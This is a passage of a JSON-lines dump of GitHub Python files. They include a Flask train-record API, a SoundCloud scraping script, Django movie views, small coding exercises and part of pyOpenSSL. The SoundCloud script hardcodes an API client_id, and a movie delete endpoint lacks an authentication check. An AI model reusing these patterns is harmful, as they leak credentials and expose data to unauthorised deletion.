trainrecords[k]['propositions'].append(\n                    {'recordedTime': db_propositions.recordedTime.isoformat(), 'content': content})\n            #step5 = time.time()\n            #print(\"step 4 took {} s\".format(step5-step4))\n            trainrecords[k]['destination'] = db_trainrecords[k].destination.name\n            trainrecords[k]['origin'] = db_trainrecords[k].origin.name\n            #print(\"One trainrecord took {} s\".format(step5-step1))\n\n        end = time.time()\n        print(\"GET /trainrecords took \"+str(end-start)+\" s\")\n        return trainrecords, 200\n\n\napi.add_resource(TrainRecords, '/trainrecords')\n\n# class TrainRecordsPages(Resource):\n#     @staticmethod\n#     def get(page_id):\n#         \"\"\"\n#         Get the list of all the train records registered in the database by page.\n#         :param: page_id: The page you want to get at, 0 to get all pages. Each page contains 3 train records. - Default is 1\n#         :return: A list of JSON each containing a train record.\n#         \"\"\"\n#         start = time.time()\n#         page_id=int(page_id)\n#         offset = 3\n#         if not(page_id):\n#             db_trainrecords = dbTrainRecord.objects.order_by('departureTime')\n#         else:\n#             db_trainrecords = dbTrainRecord.objects.order_by('departureTime')[(page_id-1)*offset:page_id*offset]\n#         trainrecords = json.loads(db_trainrecords.to_json())\n#         for k in range(len(trainrecords)):\n#             #step1 = time.time()\n#             #trainrecords[k]['recordedTime'] = str((db_trainrecords[k]['recordedTime']).isoformat())\n#             #step2 = time.time()\n#             #print(\"step 1 took {} s\".format(step2-step1))\n#             trainrecords[k]['arrivalTime'] = str(\n#                 (db_trainrecords[k].arrivalTime.isoformat()))\n#             #step3 = time.time()\n#             #print(\"step 2 took {} s\".format(step3-step2))\n#             trainrecords[k]['departureTime'] = str(\n#                 (db_trainrecords[k].departureTime.isoformat()))\n#             #step4 = time.time()\n#             #print(\"step 3 took {} s\".format(step4-step3))\n#             trainrecords[k]['propositions'] = []\n#             for db_propositions in db_trainrecords[k].propositions:\n#                 content = {}\n#                 for db_proposition in db_propositions.content:\n#                     content[db_proposition.type] = {\n#                         'amount': db_proposition.amount, 'seats': db_proposition.remainingSeat}\n#                 trainrecords[k]['propositions'].append(\n#                     {'recordedTime': db_propositions.recordedTime.isoformat(), 'content': content})\n#             #step5 = time.time()\n#             #print(\"step 4 took {} s\".format(step5-step4))\n#             trainrecords[k]['destination'] = db_trainrecords[k].destination.name\n#             trainrecords[k]['origin'] = db_trainrecords[k].origin.name\n#             #print(\"One trainrecord took {} s\".format(step5-step1))\n\n#         end = time.time()\n#         print(\"GET /trainrecords/pages/\"+str(page_id)+\" took \"+str(end-start)+\" s\")\n#         return trainrecords, 200\n\n\n# api.add_resource(TrainRecordsPages, '/trainrecords/pages/<string:page_id>')\n\n\n# TrainRecord\n# shows a single train record item and lets you  DELETE a train record item in the database\nclass TrainRecord(Resource):\n\n    @staticmethod\n    def get(trainrecord_id):\n        \"\"\"\n        Get a single train record registered in the database.\n        :param: trainrecord_id: Id of the train record to get\n        :return: A JSON file of the train record.\n        \"\"\"\n        if dbTrainRecord.objects(id=trainrecord_id).first() is not None:\n            db_trainrecord = dbTrainRecord.objects(id=trainrecord_id).first()\n            trainrecord = json.loads(db_trainrecord.to_json())\n            #trainrecord['recordedTime'] = str((db_trainrecord['recordedTime']).isoformat())\n            trainrecord['arrivalTime'] = str(\n                (db_trainrecord['arrivalTime']).isoformat())\n            trainrecord['departureTime'] = str(\n                (db_trainrecord['departureTime']).isoformat())\n            trainrecord['propositions'] = []\n            for db_propositions in db_trainrecord.propositions:\n                content = {}\n                for db_proposition in db_propositions.content:\n                    content[db_proposition.type] = {\n                        'amount': db_proposition.amount, 'seats': db_proposition.remainingSeat}\n                trainrecord['propositions'].append(\n                    {'recordedTime': db_propositions.recordedTime.isoformat(), 'content': content})\n            trainrecord['origin'] = db_trainrecord['origin'].name\n            return trainrecord, 200\n        else:\n            return \"Train record not found at this id {}\".format(trainrecord_id), 404\n\n    @staticmethod\n    def delete(trainrecord_id):\n        \"\"\"\n        Delete from the database a single train record registered in the database.\n        :param: trainrecord_id: Id of the train record to delete\n        :return: 204.\n        \"\"\"\n        dbTrainRecord.objects(id=trainrecord_id).delete()\n        return \"\", 204\n\n\napi.add_resource(TrainRecord, '/trainrecords/<string:trainrecord_id>')\n\n\nif __name__ == '__main__':\n    app.run(port='8080', debug=True)\n","repo_name":"Kornflex28/train-tracker","sub_path":"webserver/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":25924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17201185563","text":"import numpy as np\n\ndef transform_to_text(pred_start, pred_end, text, offset, sentiment):\n\n    def decode(pred_start, pred_end, text, offset):\n        decoded_text = \"\"\n        for i in range(pred_start, pred_end+1):\n            decoded_text += text[offset[i][0]:offset[i][1]]\n            if (i+1) < len(offset) and offset[i][1] < offset[i+1][0]:\n                decoded_text += \" \"\n        return decoded_text\n\n    decoded_predictions = []\n    for i in range(len(text)):\n        # if sentiment[i] == \"neutral\" or len(text[i].split()) < 2:\n        #     decoded_text = text[i]\n        # else:\n        idx_start = np.argmax(pred_start[i])\n        # idx_end = np.argmax(pred_end[i])\n        candidates_end = np.argsort(pred_end[i])[::-1]\n\n        j = 0\n        while 1:\n            idx_end = candidates_end[j]\n            if idx_start <= idx_end:\n                break\n            j += 1\n\n        decoded_text = str(decode(idx_start, idx_end, text[i], offset[i]))\n        # if len(decoded_text) == 0:\n        #     decoded_text = text[i]\n        decoded_predictions.append(decoded_text)\n\n    return decoded_predictions\n\n\ndef compute_jaccard(selected_text, selected_text_pred):\n\n    def jaccard(str1, str2):\n        a = set(str1.lower().split())\n        b = set(str2.lower().split())\n        c = a.intersection(b)\n        return float(len(c)) / (len(a) + len(b) - len(c))\n\n    jaccard_mean = 0.\n    for i in range(len(selected_text)):\n        jaccard_mean += jaccard(selected_text[i], selected_text_pred[i])\n    return jaccard_mean / len(selected_text)\n","repo_name":"akensert/kaggle-tweet-sentiment-extraction","sub_path":"src/tweet-sentiment-extraction/common/prediction_utils.py","file_name":"prediction_utils.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3368654006","text":"\n# -*- coding: utf-8 -*-\nfrom locale import *\nimport sys,os\n\nproject_dir = '../tr/tr/'\n\nsys.path.append(project_dir)\nos.environ['DJANGO_SETTINGS_MODULE'] = 'settings'\nimport django\ndjango.setup()\n\nimport soundcloud\nfrom music.models import *\nfrom datetime import datetime, date, time\n\n\nclient = soundcloud.Client(client_id='dce5652caa1b66331903493735ddd64d')\npage_size = 200\ngenres_list = SoundGenres.objects.values('name')\ngenres_list_names = [name['name'] for name in genres_list]\n\nп_rus_list_1 = [\n\"П. Луспекаев\",\n\"Павел Артемьев И Ирина Тонева\",\n\"Павел Балтийский\",\n\"Павел Беккерман\",\n\"Павел Вишерский\",\n\"Павел Воробьёв\",\n\"Павел Данилов\",\n\"Павел Кашин\",\n\"Павел Козлов\",\n\"Павел Красношлык\",\n\"Павел Мах\",\n\"Павел Михайлов\",\n\"Павел Мурашов\",\n\"Павел Нарочанский\",\n\"Павел Павлецов\",\n\"Павел Пиковский и Группа Хьюго\",\n\"Павел Родни\",\n\"Павел Соколов\",\n\"Павел Фёдоров\",\n\"Павел Федоров (Paulo)\",\n\"Павел Филатов\",\n\"Павел Филатов & Настя\",\n\"Павел Филатов и группа Вне Зоны\",\n\"Павел Чумаков\",\n\"Павел Шевцов\",\n\"Павел Шубин и Андрей Якиманский\",\n\"Павла и Денис Ковальский\",\n\"Павлентий Чернов\",\n\"Павло Табаков\",\n\"Пальчики Оближешь\",\n\"Пан and Dino MC 47\",\n\"Панакота\",\n\"Панда feat. tompSON\",\n\"Паола\",\n\"Папины Дети\",\n\"Пара нормальных\",\n\"Пара Совпала\",\n\"Параллельные\",\n\"ПараТайн\",\n\"Парень Из Союза\",\n\"Пари\",\n\"Парк Удовольствий\",\n\"Паскаль\",\n\"ПатриотЪ\",\n\"Паук feat. Togga & Kvadrat\",\n\"Паулина Андреева feat. Баста\",\n\"Пацанка\",\n\"Пацаны\",\n\"Пачуля\",\n\"Паша Proorok\",\n\"Паша Вайти\",\n\"Паша Захарчук\",\n\"Паша Климат feat. Сюзанна Абдулла\",\n\"Паша Ли\",\n\"Паша Люмин и Даша Шувалова\",\n\"Паша Мос\",\n\"Паша Панамо\",\n\"Паша Руденко\",\n\"Паша Сли\",\n\"Паша Цветомузыка\",\n\"Паша Юдин\",\n\"Пающие Трусы\",\n\"Певица Афродита\",\n\"Пелих Ангелина\",\n\"Пепел Роза\",\n\"Первая Zаповедь & Савва Тихий\",\n\"Первая Zаповедь, Ahimas & Чак (M.Family)\",\n\"Первый Контакт\",\n\"Первый поворот\",\n\"Песняры\",\n\"Петкун, Голубев, Макарский\",\n\"Петлюра\",\n\"Петр Гара\",\n\"Пётр Дранга\",\n\"Петр Елфимов\",]\n\nп_rus_list_2 = [\n\"Петр Ильич Чайковский\",\n\"Пётр Казаков\",\n\"Петр Лещенко\",\n\"Петр Налич\",\n\"Петр Сергеев\",\n\"Петя Черный\",\n\"ПЗЖЕ feat. Рыбос\",\n\"Пиджаков\",\n\"Пикник\",\n\"Пилот\",\n\"Пиноккио\",\n\"Пионерский Хор Им. В.У. Попова\",\n\"Питер Пэн\",\n\"Пицца\",\n\"Пламя\",\n\"Планета 90\",\n\"Планка\",\n\"Пласти��а\",\n\"Платина\",\n\"Плохиш\",\n\"По Ту Сторону\",\n\"По Фрейду\",\n\"Под Одним Небом\",\n\"ПодZемка\",\n\"Подиум\",\n\"Поднимаем Руки Вверх\",\n\"Подпольная Траектория feat. Ahimas\",\n\"Подруги\",\n\"Подстрелов\",\n\"Подъём!\",\n\"Позитив and Напильник\",\n\"Покахонтас\",\n\"Полежаев\",\n\"Полиграф ШарикOFF\",\n\"Полина Богатикова\",\n\"Полина Богусевич\",\n\"Полина Буторина feat. DJ Groove\",\n\"Полина Гагарина\",\n\"Полина Гриффис\",\n\"Полина Зизак\",\n\"Полина Кузовкова (Pollykuu)\",\n\"Полина Ростова\",\n\"Полина Смолова\",\n\"Полина Сокольская\",\n\"Полина Соя\",\n\"Полнолуние\",\n\"Положительный Заряд\",\n\"Полтергейст\",\n\"Полумягкие\",\n\"Полюса\",\n\"Попанбэнд\",\n\"ПопКорн\",\n\"После 11\",\n\"После Вчерашнего\",\n\"Потапов Владимир\",\n\"Потемковский\",\n\"Потехин Бэнд\",\n\"Потехин, Трэк и Блюз\",\n\"Поющие вместе\",\n\"Поющие трусы\",\n\"Президент И Амазонка\",\n\"Премьер-Министр\",\n\"Приключения Мишек Гамми\",\n\"Приключения Спин И Марти\",\n\"Приключения Тигрули\",\n\"Приключения Флика\",\n\"Принцесса Авенью\",\n\"Принцесса И Лягушка\",\n\"Принцип (ZM)\",\n\"Провинция 42 feat. Bizaro\",\n\"Прогульщики\",\n\"Продавцы Новостей\",\n\"Проект Димac\",\n\"Проект Жить\",\n\"Проект Увечье\",]\n\nп_rus_list_3 = [\n\"Проект-22\",\n\"Прокофьев\",\n\"ПромЗона\",\n\"Пропаганда\",\n\"Пропорции\",\n\"Проспект 64\",\n\"Против Правил\",\n\"Профессор Лебединский\",\n\"Профилактика\",\n\"Профсоюзный Ансамбль Песни И Пляски\",\n\"Прохор Шаляпин\",\n\"Психо\",\n\"Птаха\",\n\"Пугачева Алла\",\n\"Пульсы\",\n\"Пуля\",\n\"Путевка В Жизнь\",\n\"Пушкашу & Випи\",\n\"Пыльца\",\n\"Пьер Нарцисс\",\n\"Пьера\",\n\"Пэссо\",\n\"Пятилетка\",\n\"Пятница 13-е\",\n]\n\nlitera = SoundSymbol.objects.get(name=\"П\")\n\ncount = 0\n\nfor tag in п_rus_list_1:\n    tracks = client.get('/tracks', q=tag, limit=page_size, linked_partitioning=1)\n    if tracks:\n        for track in tracks.collection:\n            created_at = track.created_at\n            created_at = datetime.strptime('Jun 1 2005  1:33PM', '%b %d %Y %I:%M%p')\n            if track.description:\n                description = track.description[:500]\n            else:\n                description=None\n            try:\n                Music.objects.get(id=track.id)\n            except:\n                if track.genre and track.release_year and track.duration > 90000 and track.genre in genres_list_names:\n                    try:\n                        self_tag = SoundTags.objects.get(name=tag, symbol=litera)\n                    except:\n                        self_tag = SoundTags.objects.create(name=tag, symbol=litera)\n                    genre =SoundGenres.objects.get(name=track.genre.replace(\"'\", '') )\n                    new_track = Music.objects.create(id=track.id, tag=self_tag, artwork_url=track.artwork_url, created_at=created_at, duration=track.duration, genre=genre, description=description, title=track.title, uri=track.uri, release_year=track.release_year)\n                count = count + 1\n        while tracks.next_href != None and count < 2000:\n            tracks = client.get(tracks.next_href, limit=page_size, linked_partitioning=1)\n            for track in tracks.collection:\n                created_at = track.created_at\n                created_at = datetime.strptime('Jun 1 2005  1:33PM', '%b %d %Y %I:%M%p')\n                if track.description:\n                    description = track.description[:500]\n                else:\n                    description=None\n                try:\n                    Music.objects.get(id=track.id)\n                except:\n                    if track.genre and track.release_year and track.duration > 90000 and track.genre in genres_list_names:\n                        try:\n                            self_tag = SoundTags.objects.get(name=tag, symbol=litera)\n                        except:\n                            self_tag = SoundTags.objects.create(name=tag, symbol=litera)\n                        genre =SoundGenres.objects.get(name=track.genre.replace(\"'\", '') )\n                        new_track = Music.objects.create(id=track.id, tag=self_tag, artwork_url=track.artwork_url, created_at=created_at, duration=track.duration, genre=genre, description=description, title=track.title, uri=track.uri, release_year=track.release_year)\n                    count = count + 1\n","repo_name":"interesnij/django-social-network","sub_path":"common/parsing_soundcloud/rus/parsing_п_rus.py","file_name":"parsing_п_rus.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19433842524","text":"from rest_framework.views import APIView, Request, Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom .models import Movie\nfrom .serializers import MovieSerializer, MovieOrderSerializer\nfrom rest_framework.pagination import PageNumberPagination\n\n\nclass MoviesView(APIView, PageNumberPagination):\n    def get(self, request: Request) -> Response:\n        movies = Movie.objects.all().order_by(\"id\")\n\n        result_page = self.paginate_queryset(movies, request, view=self)\n\n        serializer = MovieSerializer(result_page, many=True)\n\n        return self.get_paginated_response(serializer.data)\n\n    def post(self, request: Request) -> Response:\n        data = request.data\n\n        serializer = MovieSerializer(data=data)\n\n        if not serializer.is_valid():\n            return Response(serializer.errors, 400)\n\n        serializer.save(user=request.user)\n\n        return Response(serializer.data, 201)\n\n\nclass MoviesIdView(APIView):\n    def delete(self, request: Request, movie_id: int) -> Response:\n        try:\n            movie = Movie.objects.get(id=movie_id)\n            movie.delete()\n            return Response(status=204)\n\n        except Movie.DoesNotExist:\n            return Response({\"detail\": \"Not found\"}, 404)\n\n\nclass MovieOrderView(APIView):\n    permission_classes = [IsAuthenticated]\n\n    def post(self, request: Request, movie_id: int) -> Response:\n        try:\n            data = request.data\n            movie = Movie.objects.get(pk=movie_id)\n            serializer = MovieOrderSerializer(data=data)\n\n            if not serializer.is_valid():\n                return Response(serializer.errors, 400)\n\n            serializer.save(buyed_by=request.user, movie=movie)\n\n            return Response(serializer.data, 201)\n\n        except Movie.DoesNotExist:\n            return Response({\"detail\": \"Not found\"})\n","repo_name":"micaias-silva/kenzie-buster-micaias-silva","sub_path":"movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6002225984","text":"from collections import defaultdict\n\n\ndef first_recurrent(string):\n    \"\"\"\n    This problem was asked by Google.\n\n    Given a string, return the first recurring character in it, or null if there is no recurring character.\n\n    For example, given the string \"acbbac\", return \"b\". Given the string \"abcdef\", return null.\n    :return:\n    \"\"\"\n    count = defaultdict(int)\n    for char in string:\n        if count[char]:\n            return char\n        else:\n            count[char] += 1\n    return \"Null\"\n\n\nif __name__ == \"__main__\":\n    print(first_recurrent(\"acbbac\"))","repo_name":"Michael-Mbajwa/coding_challenges","sub_path":"first_recurrent.py","file_name":"first_recurrent.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27862292979","text":"class Car:\n\n    def __init__(self):\n        self.plate_num = ''\n        self.digit = 0\n        self.date = 0\n        self.day_week = 0\n        self.name = ''\n        self.hour = 0\n        self.m = 0\n        self.restriction_time = ''\n        self.car_move = ''\n\n    def get_plate_validation(self):\n        import re\n        valid_plate = False\n        while not valid_plate:\n            try:\n                plate_let, self.plate_num = input(\"Plate number in the format AAA-1234: \").split('-')\n\n                if plate_let == [] or self.plate_num == []:\n                    print(\"Incorrect format! empty\")\n                elif 3 < len(plate_let) or len(plate_let) < 3 or not re.match(\"^[A-Z]*$\", plate_let):\n                    print(\"Incorrect format! three uppercase letters\")\n                elif 4 < len(self.plate_num) or len(self.plate_num) < 3 or not re.match(\"^[0-9]*$\", self.plate_num):\n                    print(\"Incorrect format! three or four numbers\")\n                else:\n                    valid_plate = True\n            except ValueError:\n                print(\"Incorrect format! AAA-1234\")\n\n        self.digit = int(self.plate_num[-1])\n\n        return self.digit\n\n    def get_date_validation(self):\n        import datetime\n        valid_date = False\n        while not valid_date:\n            date_input = input(\"Date in the format dd/mm/yy: \")\n            try:\n                self.date = datetime.datetime.strptime(date_input, \"%d/%m/%y\")\n                valid_date = True\n            except ValueError:\n                print(\"Incorrect format! dd/mm/yy\")\n\n        self.day_week = self.date.weekday()\n        day_names = {'Monday': 0, 'Tuesday': 1, 'Wednesday': 2, 'Thursday': 3, 'Friday': 4}\n        list_items = day_names.items()\n        for item in list_items:\n            if item[1] == self.day_week:\n                self.name = item[0]\n\n        return self.day_week, self.name\n\n    def get_time_validation(self):\n        import datetime\n        import time\n        valid_time = False\n        while not valid_time:\n            time_input = input(\"Time in the format hour,min: \")\n            try:\n                time1 = time.strptime(time_input, '%H,%M')\n                valid_time = True\n            except ValueError:\n                print(\"Incorrect format! hour,min\")\n\n        time1 = time.strftime('%H:%M', time1)\n        self.hour, self.m = time1.split(':')\n\n        time_in = datetime.time(int(self.hour), int(self.m))\n        if (datetime.time(7, 0) <= time_in <= datetime.time(9, 30)) or (\n                datetime.time(16, 0) <= time_in <= datetime.time(19, 30)):\n            self.restriction_time = 1\n        else:\n            self.restriction_time = 0\n\n        return self.restriction_time\n\n    def transit(self, digit_plate, day_week, restriction_time):\n\n        if (digit_plate == 1 or digit_plate == 2) and day_week == 0:    # Monday\n            move = 0\n        elif (digit_plate == 3 or digit_plate == 4) and day_week == 1:  # Tuesday\n            move = 0\n        elif (digit_plate == 5 or digit_plate == 6) and day_week == 2:  # Wednesday\n            move = 0\n        elif (digit_plate == 7 or digit_plate == 8) and day_week == 3:  # Thursday\n            move = 0\n        elif (digit_plate == 9 or digit_plate == 0) and day_week == 4:  # Friday\n            move = 0\n        else:\n            move = 1\n\n        if move == 0 and restriction_time == 1:\n            self.car_move = \"cannot transit\"\n        else:\n            self.car_move = \"can transit\"\n\n        return self.car_move\n\n    def run_inspection(self):\n\n        plate_dig = self.get_plate_validation()\n        day_num, day_name = self.get_date_validation()\n        time_restriction = self.get_time_validation()\n\n        move_car = self.transit(plate_dig, day_num, time_restriction)\n\n        print(\"Last Digit: \" + str(plate_dig) + \" in \" + day_name + \" at \" + str(self.hour) + \":\" + str(\n            self.m) + \" ==> \" + str(move_car))\n\n\nif __name__ == '__main__':\n\n    import datetime\n    import time\n    import re\n    my_car = Car()\n\n    print(\"PICO Y PLACA PREDICTOR\")\n\n    while True:\n\n        my_car.run_inspection()\n\n","repo_name":"siCaet/PicoyPlacaProject","sub_path":"car_restrictions.py","file_name":"car_restrictions.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25967147636","text":"# 字母rot13，数字rot5\n\n# ROT5、13、18 解密\n\nimport string\n\n# 引入string的定义字符串\nascii_lowercase = string.ascii_lowercase  # 小写字符串\nascii_uppercase = string.ascii_uppercase  # 大写字符串\ndigits = string.digits\n\n# rot-18\n# ROT18：这是一个异类，本来没有，它是将ROT5和ROT13组合在一起，为了好称呼，将其命名为ROT18。\n\n# rot-5\n# ROT5：只对数字进行编码，用当前数字往前数的第5个数字替换当前数字，例如当前为0，编码后变成5，当前为1，编码后变成6，以此类推顺序循环。\ndigits_dict = {}\nfor i in range(len(digits)):\n    digits_dict[digits[i]] = digits[i - 5]\n\n# rot-13\n# ROT13：只对字母进行编码，用当前字母往前数的第13个字母替换当前字母，例如当前为A，编码后变成N，当前为B，编码后变成O，以此类推顺序循环。\nlookup_dict = {}\n# 大写字符串填充\nfor i in range(len(ascii_uppercase)):\n    lookup_dict[ascii_uppercase[i]] = ascii_uppercase[i - 13]\n# 小写字符串填充\nfor i in range(len(ascii_lowercase)):\n    lookup_dict[ascii_lowercase[i]] = ascii_lowercase[i - 13]\n\n# 判断输入是否为数字、字母  后转换\n# 这里有一个很有意思的发现：中文被if判断为alpha\n\n\nimport string\n# a = string.ascii_letters + string.digits\ncipher = input(\"what's your cipher str：\")\n# cipher = a\nclear = ''\nfor i in cipher:\n    if i.isdigit():\n        a_digit = digits_dict[i]\n    elif i.isalpha():\n        a_digit = lookup_dict[i]\n    else:\n        a_digit = i\n    clear += a_digit\n\nprint(clear)\n# print(a)\n\n","repo_name":"wgf4242/text","sub_path":"docs/ctf/scripts/Crypto_rot18.py","file_name":"Crypto_rot18.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"zh","doc_type":"code","stars":19,"dataset":"github-code","pt":"77"}
+{"seq_id":"72891666170","text":"import time\nfrom tkinter import *\nfrom models.Setting import Setting\nimport json\n\n\n# xử lý sự kiện nút\n\n\n\n# khởi tạo màn hình\ndef start():\n    def vao_game():\n        s = Setting(hang.get(), cot.get(), dkt.get())\n        j = json.dumps(s.__dict__)\n        # f = open(\"setting.json\", \"w\")\n        # f.write(j)\n        # f.close()\n        root.setvar(\"setting\", j)\n        root.destroy()\n        return s\n    root = Tk()\n    root.geometry(\"250x250\")\n    # tạo số mặc định\n    hang = StringVar(root)\n    cot = StringVar(root)\n    # dkt = StringVar(root)\n    hang.set(\"3\")\n    cot.set(\"3\")\n    # dkt.set(\"3\")\n    # tên chính\n    l = Label(root, text=\"Cài đặt chung\")\n    # label cho chọn\n    lb_chon_hang = Label(root, text=\"Chọn số hàng\")\n    lb_chon_cot = Label(root, text=\"Chọn số cột\")\n    lb_chon_win = Label(root, text=\"Chọn luật thắng\")\n    # chọn số hàng và cột luật thắng\n    chon_so_hang = Spinbox(root, from_=3, to=10, textvariable=hang)\n    chon_so_cot = Spinbox(root, from_=3, to=10, textvariable=cot)\n    # chon_so_win = Spinbox(root, from_=3, to=10, textvariable=dkt)\n\n    # vào game\n    b1 = Button(root, text=\"Vào game\", command=vao_game)\n\n    # thoát game\n    b2 = Button(root, text=\"Thoát\",\n                command=root.destroy)\n\n    # hiển thị trên màn hình\n    l.pack()\n    lb_chon_hang.pack()\n    chon_so_hang.pack()\n    lb_chon_cot.pack()\n    chon_so_cot.pack()\n    lb_chon_win.pack()\n    # chon_so_win.pack()\n    b1.pack()\n    b2.pack()\n\n\n    root.mainloop()\n    return root\n","repo_name":"thien2001git/TTNT6","sub_path":"windows/Window1.py","file_name":"Window1.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"536670536","text":"#Projectile Coordinates\n\nimport math\n\ndef plot_coordinates():\n    for i in range(1, 100):\n        t = i * 0.1\n        x = 20.0 * t * math.cos(math.radians(70))\n        y = (20.0 * t * math.sin(math.radians(70))) - ((9.81 * (t**2))/2)\n        print(round(x), round(y), sep=',')\n        if y <= 0:\n            break\n\nif __name__ == '__main__':\n    plot_coordinates()","repo_name":"vinmen/learnpy","sub_path":"projectile.py","file_name":"projectile.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37035480876","text":"# Florence has N integers, Her objective is to have N equal integers by transforming some of them.\n\n# She may transform each integer at most once. Transforming an integer X into another integer Y costs her (x-y)^2 pounds. Even if ai = aj, she has to pay the cost separately for transforming each of them (see Sample 2).\n\n# Find the minimum total cost to achieve her objective.\n\n# Input Format\n\n# Given standard input string as follows:\n\n# N\n# a1,a2,a3,...,an\n\n#30/30\n\n# Enter your code here. Read input from STDIN. Print output to STDOUT\nN = int(input())\nlis =  [eval(i) for i in input().split(\" \")]\n\navg = round (sum(lis)/len(lis))\nrt = 0\nfor i in range(len(lis)):\n    rt += (avg-lis[i])**2\n    \nprint(int(rt))\n\n","repo_name":"Arsenic-33/GUTSCodeHackathon","sub_path":"BTogether.py","file_name":"BTogether.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19446383307","text":"from sys import platform\nfrom functools import wraps, partial\nfrom itertools import count\nfrom weakref import WeakValueDictionary\nfrom errno import errorcode\n\nfrom six import text_type as _text_type\nfrom six import integer_types as integer_types\n\nfrom OpenSSL._util import (\n    ffi as _ffi,\n    lib as _lib,\n    exception_from_error_queue as _exception_from_error_queue,\n    native as _native)\n\nfrom OpenSSL.crypto import (\n    FILETYPE_PEM, _PassphraseHelper, PKey, X509Name, X509, X509Store)\n\n_unspecified = object()\n\ntry:\n    _memoryview = memoryview\nexcept NameError:\n    class _memoryview(object):\n        pass\n\nOPENSSL_VERSION_NUMBER = _lib.OPENSSL_VERSION_NUMBER\nSSLEAY_VERSION = _lib.SSLEAY_VERSION\nSSLEAY_CFLAGS = _lib.SSLEAY_CFLAGS\nSSLEAY_PLATFORM = _lib.SSLEAY_PLATFORM\nSSLEAY_DIR = _lib.SSLEAY_DIR\nSSLEAY_BUILT_ON = _lib.SSLEAY_BUILT_ON\n\nSENT_SHUTDOWN = _lib.SSL_SENT_SHUTDOWN\nRECEIVED_SHUTDOWN = _lib.SSL_RECEIVED_SHUTDOWN\n\nSSLv2_METHOD = 1\nSSLv3_METHOD = 2\nSSLv23_METHOD = 3\nTLSv1_METHOD = 4\nTLSv1_1_METHOD = 5\nTLSv1_2_METHOD = 6\n\nOP_NO_SSLv2 = _lib.SSL_OP_NO_SSLv2\nOP_NO_SSLv3 = _lib.SSL_OP_NO_SSLv3\nOP_NO_TLSv1 = _lib.SSL_OP_NO_TLSv1\n\nOP_NO_TLSv1_1 = getattr(_lib, \"SSL_OP_NO_TLSv1_1\", 0)\nOP_NO_TLSv1_2 = getattr(_lib, \"SSL_OP_NO_TLSv1_2\", 0)\n\ntry:\n    MODE_RELEASE_BUFFERS = _lib.SSL_MODE_RELEASE_BUFFERS\nexcept AttributeError:\n    pass\n\nOP_SINGLE_DH_USE = _lib.SSL_OP_SINGLE_DH_USE\nOP_EPHEMERAL_RSA = _lib.SSL_OP_EPHEMERAL_RSA\nOP_MICROSOFT_SESS_ID_BUG = _lib.SSL_OP_MICROSOFT_SESS_ID_BUG\nOP_NETSCAPE_CHALLENGE_BUG = _lib.SSL_OP_NETSCAPE_CHALLENGE_BUG\nOP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG = _lib.SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG\nOP_SSLREF2_REUSE_CERT_TYPE_BUG = _lib.SSL_OP_SSLREF2_REUSE_CERT_TYPE_BUG\nOP_MICROSOFT_BIG_SSLV3_BUFFER = _lib.SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER\ntry:\n    OP_MSIE_SSLV2_RSA_PADDING = _lib.SSL_OP_MSIE_SSLV2_RSA_PADDING\nexcept AttributeError:\n    pass\nOP_SSLEAY_080_CLIENT_DH_BUG = _lib.SSL_OP_SSLEAY_080_CLIENT_DH_BUG\nOP_TLS_D5_BUG = _lib.SSL_OP_TLS_D5_BUG\nOP_TLS_BLOCK_PADDING_BUG = _lib.SSL_OP_TLS_BLOCK_PADDING_BUG\nOP_DONT_INSERT_EMPTY_FRAGMENTS = _lib.SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS\nOP_CIPHER_SERVER_PREFERENCE = _lib.SSL_OP_CIPHER_SERVER_PREFERENCE\nOP_TLS_ROLLBACK_BUG = _lib.SSL_OP_TLS_ROLLBACK_BUG\nOP_PKCS1_CHECK_1 = _lib.SSL_OP_PKCS1_CHECK_1\nOP_PKCS1_CHECK_2 = _lib.SSL_OP_PKCS1_CHECK_2\nOP_NETSCAPE_CA_DN_BUG = _lib.SSL_OP_NETSCAPE_CA_DN_BUG\nOP_NETSCAPE_DEMO_CIPHER_CHANGE_BUG= _lib.SSL_OP_NETSCAPE_DEMO_CIPHER_CHANGE_BUG\ntry:\n    OP_NO_COMPRESSION = _lib.SSL_OP_NO_COMPRESSION\nexcept AttributeError:\n    pass\n\nOP_NO_QUERY_MTU = _lib.SSL_OP_NO_QUERY_MTU\nOP_COOKIE_EXCHANGE = _lib.SSL_OP_COOKIE_EXCHANGE\nOP_NO_TICKET = _lib.SSL_OP_NO_TICKET\n\nOP_ALL   = _lib.SSL_OP_ALL\n\nVERIFY_PEER = _lib.SSL_VERIFY_PEER\nVERIFY_FAIL_IF_NO_PEER_CERT = _lib.SSL_VERIFY_FAIL_IF_NO_PEER_CERT\nVERIFY_CLIENT_ONCE = _lib.SSL_VERIFY_CLIENT_ONCE\nVERIFY_NONE = _lib.SSL_VERIFY_NONE\n\nSESS_CACHE_OFF = _lib.SSL_SESS_CACHE_OFF\nSESS_CACHE_CLIENT = _lib.SSL_SESS_CACHE_CLIENT\nSESS_CACHE_SERVER = 